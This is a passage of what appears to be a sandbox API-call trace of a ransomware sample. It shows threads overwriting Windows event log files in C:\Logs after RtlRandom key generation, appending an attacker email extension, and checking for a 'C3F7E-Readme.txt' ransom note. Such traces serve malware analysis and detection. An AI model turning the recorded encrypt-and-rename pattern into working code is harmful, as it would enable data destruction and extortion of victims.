	[0074.114] WriteFile (in: hFile=0x80c, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x18d, lpNumberOfBytesWritten=0x7e8fb64, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0x7e8fb64*=0x18d, lpOverlapped=0x0) returned 1
	[0074.116] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0074.116] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7d060) returned 1
	[0074.116] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781698) returned 1
	[0074.116] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7d3f8) returned 1
	[0074.116] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47817b0) returned 1
	[0074.116] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781850) returned 1
	[0074.116] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813c8) returned 1
	[0074.116] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47815d0) returned 1
	[0074.116] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x2d89460
	[0074.116] wcscpy (in: _Dest=0x2d89460, _Source="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx"
	[0074.116] wcscat (in: _Dest=0x2d89460, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0074.116] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x7e8fb1c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0074.116] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10a) returned 0x2d89668
	[0074.117] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89668) returned 1
	[0074.117] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89560) returned 1
	[0074.117] NtQueryInformationFile (in: FileHandle=0x80c, IoStatusBlock=0x7e8fb28, FileInformation=0x7e8fb00, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x7e8fb28, FileInformation=0x7e8fb00) returned 0x0
	[0074.117] NtSetInformationFile (FileHandle=0x80c, IoStatusBlock=0x7e8fb28, FileInformation=0x7e8fb00, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0074.118] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0074.118] FlushFileBuffers (hFile=0x80c) returned 1
	[0074.121] CloseHandle (hObject=0x80c) returned 1
	[0074.121] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2d70780
	[0074.121] wcscpy (in: _Dest=0x2d70780, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.121] wcscat (in: _Dest=0x2d70780, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Logs\\C3F7E-Readme.txt") returned="C:\\Logs\\C3F7E-Readme.txt"
	[0074.121] GetFileAttributesW (lpFileName="C:\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\logs\\c3f7e-readme.txt")) returned 0x20
	[0074.122] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70780) returned 1
	[0074.122] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7dec0) returned 1

Thread:
	id = 129
	os_tid = 0xf20

	[0074.122] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx")) returned 0x20
	[0074.123] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx", dwFileAttributes=0x20) returned 1
	[0074.123] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x80c
	[0074.124] GetFileSizeEx (in: hFile=0x80c, lpFileSize=0x7f0fc84 | out: lpFileSize=0x7f0fc84*=1052672) returned 1
	[0074.124] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x100ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.124] ReadFile (in: hFile=0x80c, lpBuffer=0x7f0fc08, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x7f0fc04, lpOverlapped=0x0 | out: lpBuffer=0x7f0fc08*, lpNumberOfBytesRead=0x7f0fc04*=0x4, lpOverlapped=0x0) returned 1
	[0074.125] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.125] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781378
	[0074.125] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781648
	[0074.125] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815d0
	[0074.125] NtQuerySystemTime (in: CurrentTime=0x7f0fbe4 | out: CurrentTime=0x7f0fbe4*=132251868008695686) returned 0x0
	[0074.125] RtlRandom (in: Seed=0x7f0fbf0 | out: Seed=0x7f0fbf0) returned 0x859d5db9
	[0074.125] RtlRandom (in: Seed=0x7f0fbf0 | out: Seed=0x7f0fbf0) returned 0xeda8e300
	[0074.125] RtlRandom (in: Seed=0x7f0fbf0 | out: Seed=0x7f0fbf0) returned 0x36845208
	[0074.126] RtlRandom (in: Seed=0x7f0fbf0 | out: Seed=0x7f0fbf0) returned 0xb8762b38
	[0074.126] RtlRandom (in: Seed=0x7f0fbf0 | out: Seed=0x7f0fbf0) returned 0xd4917792
	[0074.126] RtlRandom (in: Seed=0x7f0fbf0 | out: Seed=0x7f0fbf0) returned 0xec42c0d
	[0074.126] RtlRandom (in: Seed=0x7f0fbf0 | out: Seed=0x7f0fbf0) returned 0x8a09e884
	[0074.126] RtlRandom (in: Seed=0x7f0fbf0 | out: Seed=0x7f0fbf0) returned 0xb8785368
	[0074.126] RtlRandom (in: Seed=0x7f0fbf0 | out: Seed=0x7f0fbf0) returned 0x261bc070
	[0074.126] RtlRandom (in: Seed=0x7f0fbf0 | out: Seed=0x7f0fbf0) returned 0xbc2d8480
	[0074.126] RtlRandom (in: Seed=0x7f0fbf0 | out: Seed=0x7f0fbf0) returned 0x44416a3b
	[0074.126] RtlRandom (in: Seed=0x7f0fbf0 | out: Seed=0x7f0fbf0) returned 0xacd2293d
	[0074.126] RtlRandom (in: Seed=0x7f0fbf0 | out: Seed=0x7f0fbf0) returned 0x3f15cf2
	[0074.126] RtlRandom (in: Seed=0x7f0fbf0 | out: Seed=0x7f0fbf0) returned 0x4a6c9786
	[0074.126] RtlRandom (in: Seed=0x7f0fbf0 | out: Seed=0x7f0fbf0) returned 0x66e794
	[0074.126] RtlRandom (in: Seed=0x7f0fbf0 | out: Seed=0x7f0fbf0) returned 0x32a6bf67
	[0074.126] RtlRandom (in: Seed=0x7f0fbf0 | out: Seed=0x7f0fbf0) returned 0xe8d55ffe
	[0074.126] RtlRandom (in: Seed=0x7f0fbf0 | out: Seed=0x7f0fbf0) returned 0x117d49e9
	[0074.126] RtlRandom (in: Seed=0x7f0fbf0 | out: Seed=0x7f0fbf0) returned 0x8dbf1ee7
	[0074.126] RtlRandom (in: Seed=0x7f0fbf0 | out: Seed=0x7f0fbf0) returned 0xe7074868
	[0074.126] RtlRandom (in: Seed=0x7f0fbf0 | out: Seed=0x7f0fbf0) returned 0x5ce228a1
	[0074.126] RtlRandom (in: Seed=0x7f0fbf0 | out: Seed=0x7f0fbf0) returned 0xe52678f9
	[0074.126] RtlRandom (in: Seed=0x7f0fbf0 | out: Seed=0x7f0fbf0) returned 0x31cb1046
	[0074.126] RtlRandom (in: Seed=0x7f0fbf0 | out: Seed=0x7f0fbf0) returned 0xca0cabb6
	[0074.126] RtlRandom (in: Seed=0x7f0fbf0 | out: Seed=0x7f0fbf0) returned 0xa44932aa
	[0074.126] RtlRandom (in: Seed=0x7f0fbf0 | out: Seed=0x7f0fbf0) returned 0x677b653b
	[0074.126] RtlRandom (in: Seed=0x7f0fbf0 | out: Seed=0x7f0fbf0) returned 0xfec48af1
	[0074.126] RtlRandom (in: Seed=0x7f0fbf0 | out: Seed=0x7f0fbf0) returned 0x411cd715
	[0074.126] RtlRandom (in: Seed=0x7f0fbf0 | out: Seed=0x7f0fbf0) returned 0x8bea6033
	[0074.126] RtlRandom (in: Seed=0x7f0fbf0 | out: Seed=0x7f0fbf0) returned 0x5cef776e
	[0074.126] RtlRandom (in: Seed=0x7f0fbf0 | out: Seed=0x7f0fbf0) returned 0x96c44f25
	[0074.126] RtlRandom (in: Seed=0x7f0fbf0 | out: Seed=0x7f0fbf0) returned 0x3e028e92
	[0074.135] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.135] ReadFile (in: hFile=0x80c, lpBuffer=0x2db7730, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x7f0fb9c, lpOverlapped=0x0 | out: lpBuffer=0x2db7730*, lpNumberOfBytesRead=0x7f0fb9c*=0xc800, lpOverlapped=0x0) returned 1
	[0074.137] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.137] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73e40
	[0074.137] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4732dd0
	[0074.137] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781418
	[0074.137] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781418) returned 1
	[0074.138] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x2dc4740
	[0074.140] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781738
	[0074.140] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47817b0
	[0074.140] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47817b0) returned 1
	[0074.140] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732dd0) returned 1
	[0074.140] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73e40) returned 1
	[0074.140] WriteFile (in: hFile=0x80c, lpBuffer=0x2dc4740*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x7f0fb9c, lpOverlapped=0x0 | out: lpBuffer=0x2dc4740*, lpNumberOfBytesWritten=0x7f0fb9c*=0xc800, lpOverlapped=0x0) returned 1
	[0074.153] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dc4740) returned 1
	[0074.153] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x89800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.153] ReadFile (in: hFile=0x80c, lpBuffer=0x2db7730, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x7f0fb9c, lpOverlapped=0x0 | out: lpBuffer=0x2db7730*, lpNumberOfBytesRead=0x7f0fb9c*=0xc800, lpOverlapped=0x0) returned 1
	[0074.155] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x89800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.155] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73e40
	[0074.155] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4732dd0
	[0074.155] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781698
	[0074.156] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781698) returned 1
	[0074.157] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x2dc4740
	[0074.157] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813c8
	[0074.157] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781440
	[0074.157] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781440) returned 1
	[0074.157] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732dd0) returned 1
	[0074.157] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73e40) returned 1
	[0074.157] WriteFile (in: hFile=0x80c, lpBuffer=0x2dc4740*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x7f0fb9c, lpOverlapped=0x0 | out: lpBuffer=0x2dc4740*, lpNumberOfBytesWritten=0x7f0fb9c*=0xc800, lpOverlapped=0x0) returned 1
	[0074.162] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dc4740) returned 1
	[0074.164] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0xf4800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.164] ReadFile (in: hFile=0x80c, lpBuffer=0x2db7730, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x7f0fb9c, lpOverlapped=0x0 | out: lpBuffer=0x2db7730*, lpNumberOfBytesRead=0x7f0fb9c*=0xc800, lpOverlapped=0x0) returned 1
	[0074.166] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0xf4800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.166] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73ae0
	[0074.166] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4732dd0
	[0074.166] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781710
	[0074.166] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781710) returned 1
	[0074.167] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x2dc4740
	[0074.167] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781440
	[0074.167] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816e8
	[0074.167] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816e8) returned 1
	[0074.167] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732dd0) returned 1
	[0074.167] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73ae0) returned 1
	[0074.167] WriteFile (in: hFile=0x80c, lpBuffer=0x2dc4740*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x7f0fb9c, lpOverlapped=0x0 | out: lpBuffer=0x2dc4740*, lpNumberOfBytesWritten=0x7f0fb9c*=0xc800, lpOverlapped=0x0) returned 1
	[0074.168] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dc4740) returned 1
	[0074.168] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x47339a0
	[0074.169] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.169] WriteFile (in: hFile=0x80c, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x7f0fc44, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0x7f0fc44*=0x1bf, lpOverlapped=0x0) returned 1
	[0074.171] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0074.171] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7f5b0) returned 1
	[0074.171] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813c8) returned 1
	[0074.171] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7f460) returned 1
	[0074.171] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47339a0) returned 1
	[0074.171] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781648) returned 1
	[0074.172] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47815f8) returned 1
	[0074.172] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0074.172] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x2d89460
	[0074.172] wcscpy (in: _Dest=0x2d89460, _Source="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx"
	[0074.172] wcscat (in: _Dest=0x2d89460, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0074.172] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x7f0fbfc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0074.172] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x2d89550
	[0074.173] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89550) returned 1
	[0074.173] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d8a4e8) returned 1
	[0074.173] NtQueryInformationFile (in: FileHandle=0x80c, IoStatusBlock=0x7f0fc08, FileInformation=0x7f0fbe0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x7f0fc08, FileInformation=0x7f0fbe0) returned 0x0
	[0074.173] NtSetInformationFile (FileHandle=0x80c, IoStatusBlock=0x7f0fc08, FileInformation=0x7f0fbe0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0074.174] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0074.174] FlushFileBuffers (hFile=0x80c) returned 1
	[0074.175] CloseHandle (hObject=0x80c) returned 1
	[0074.175] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2d709c0
	[0074.175] wcscpy (in: _Dest=0x2d709c0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.176] wcscat (in: _Dest=0x2d709c0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Logs\\C3F7E-Readme.txt") returned="C:\\Logs\\C3F7E-Readme.txt"
	[0074.176] GetFileAttributesW (lpFileName="C:\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\logs\\c3f7e-readme.txt")) returned 0x20
	[0074.176] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d709c0) returned 1
	[0074.176] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7f268) returned 1

Thread:
	id = 130
	os_tid = 0xeec

	[0074.125] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx")) returned 0x20
	[0074.136] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx", dwFileAttributes=0x20) returned 1
	[0074.136] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x814
	[0074.136] GetFileSizeEx (in: hFile=0x814, lpFileSize=0x7f8fc10 | out: lpFileSize=0x7f8fc10*=69632) returned 1
	[0074.136] SetFilePointerEx (in: hFile=0x814, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.136] ReadFile (in: hFile=0x814, lpBuffer=0x7f8fb94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x7f8fb90, lpOverlapped=0x0 | out: lpBuffer=0x7f8fb94*, lpNumberOfBytesRead=0x7f8fb90*=0x4, lpOverlapped=0x0) returned 1
	[0074.142] SetFilePointerEx (in: hFile=0x814, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.142] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815d0
	[0074.143] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781620
	[0074.143] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781698
	[0074.143] NtQuerySystemTime (in: CurrentTime=0x7f8fb70 | out: CurrentTime=0x7f8fb70*=132251868008852106) returned 0x0
	[0074.143] RtlRandom (in: Seed=0x7f8fb7c | out: Seed=0x7f8fb7c) returned 0xb8ecc92e
	[0074.143] RtlRandom (in: Seed=0x7f8fb7c | out: Seed=0x7f8fb7c) returned 0x82fbd8e5
	[0074.143] RtlRandom (in: Seed=0x7f8fb7c | out: Seed=0x7f8fb7c) returned 0x6c61c499
	[0074.143] RtlRandom (in: Seed=0x7f8fb7c | out: Seed=0x7f8fb7c) returned 0xb46f6a
	[0074.143] RtlRandom (in: Seed=0x7f8fb7c | out: Seed=0x7f8fb7c) returned 0x411fe7d6
	[0074.143] RtlRandom (in: Seed=0x7f8fb7c | out: Seed=0x7f8fb7c) returned 0xe036e363
	[0074.143] RtlRandom (in: Seed=0x7f8fb7c | out: Seed=0x7f8fb7c) returned 0x7cb7a7dc
	[0074.143] RtlRandom (in: Seed=0x7f8fb7c | out: Seed=0x7f8fb7c) returned 0x229c950d
	[0074.143] RtlRandom (in: Seed=0x7f8fb7c | out: Seed=0x7f8fb7c) returned 0x7b2c4ef7
	[0074.143] RtlRandom (in: Seed=0x7f8fb7c | out: Seed=0x7f8fb7c) returned 0x86feb5bc
	[0074.143] RtlRandom (in: Seed=0x7f8fb7c | out: Seed=0x7f8fb7c) returned 0xc02e7bd
	[0074.143] RtlRandom (in: Seed=0x7f8fb7c | out: Seed=0x7f8fb7c) returned 0x9ff98a5e
	[0074.143] RtlRandom (in: Seed=0x7f8fb7c | out: Seed=0x7f8fb7c) returned 0x4955443c
	[0074.143] RtlRandom (in: Seed=0x7f8fb7c | out: Seed=0x7f8fb7c) returned 0x9665d730
	[0074.143] RtlRandom (in: Seed=0x7f8fb7c | out: Seed=0x7f8fb7c) returned 0x296b512c
	[0074.143] RtlRandom (in: Seed=0x7f8fb7c | out: Seed=0x7f8fb7c) returned 0x80bcde6d
	[0074.143] RtlRandom (in: Seed=0x7f8fb7c | out: Seed=0x7f8fb7c) returned 0x57d7f355
	[0074.143] RtlRandom (in: Seed=0x7f8fb7c | out: Seed=0x7f8fb7c) returned 0xb83c20f
	[0074.143] RtlRandom (in: Seed=0x7f8fb7c | out: Seed=0x7f8fb7c) returned 0x27222dff
	[0074.143] RtlRandom (in: Seed=0x7f8fb7c | out: Seed=0x7f8fb7c) returned 0x67c8023d
	[0074.143] RtlRandom (in: Seed=0x7f8fb7c | out: Seed=0x7f8fb7c) returned 0x2781c16f
	[0074.143] RtlRandom (in: Seed=0x7f8fb7c | out: Seed=0x7f8fb7c) returned 0x8c494f0b
	[0074.143] RtlRandom (in: Seed=0x7f8fb7c | out: Seed=0x7f8fb7c) returned 0x23e5a469
	[0074.143] RtlRandom (in: Seed=0x7f8fb7c | out: Seed=0x7f8fb7c) returned 0xaa9b8467
	[0074.143] RtlRandom (in: Seed=0x7f8fb7c | out: Seed=0x7f8fb7c) returned 0xe936ae97
	[0074.143] RtlRandom (in: Seed=0x7f8fb7c | out: Seed=0x7f8fb7c) returned 0xa66f56ee
	[0074.143] RtlRandom (in: Seed=0x7f8fb7c | out: Seed=0x7f8fb7c) returned 0xdfaf65de
	[0074.143] RtlRandom (in: Seed=0x7f8fb7c | out: Seed=0x7f8fb7c) returned 0x7feda478
	[0074.143] RtlRandom (in: Seed=0x7f8fb7c | out: Seed=0x7f8fb7c) returned 0x7df85166
	[0074.143] RtlRandom (in: Seed=0x7f8fb7c | out: Seed=0x7f8fb7c) returned 0x53041359
	[0074.143] RtlRandom (in: Seed=0x7f8fb7c | out: Seed=0x7f8fb7c) returned 0xb40ca661
	[0074.143] RtlRandom (in: Seed=0x7f8fb7c | out: Seed=0x7f8fb7c) returned 0x86af8a8e
	[0074.152] SetFilePointerEx (in: hFile=0x814, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.152] ReadFile (in: hFile=0x814, lpBuffer=0x2dd0f48, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x7f8fb50, lpOverlapped=0x0 | out: lpBuffer=0x2dd0f48*, lpNumberOfBytesRead=0x7f8fb50*=0xc800, lpOverlapped=0x0) returned 1
	[0074.158] SetFilePointerEx (in: hFile=0x814, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.158] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73978
	[0074.158] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4732dd0
	[0074.158] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47817b0
	[0074.158] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47817b0) returned 1
	[0074.159] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x2ddd750
	[0074.161] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781788
	[0074.161] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813f0
	[0074.161] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813f0) returned 1
	[0074.161] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732dd0) returned 1
	[0074.161] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73978) returned 1
	[0074.161] WriteFile (in: hFile=0x814, lpBuffer=0x2ddd750*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x7f8fb50, lpOverlapped=0x0 | out: lpBuffer=0x2ddd750*, lpNumberOfBytesWritten=0x7f8fb50*=0xc800, lpOverlapped=0x0) returned 1
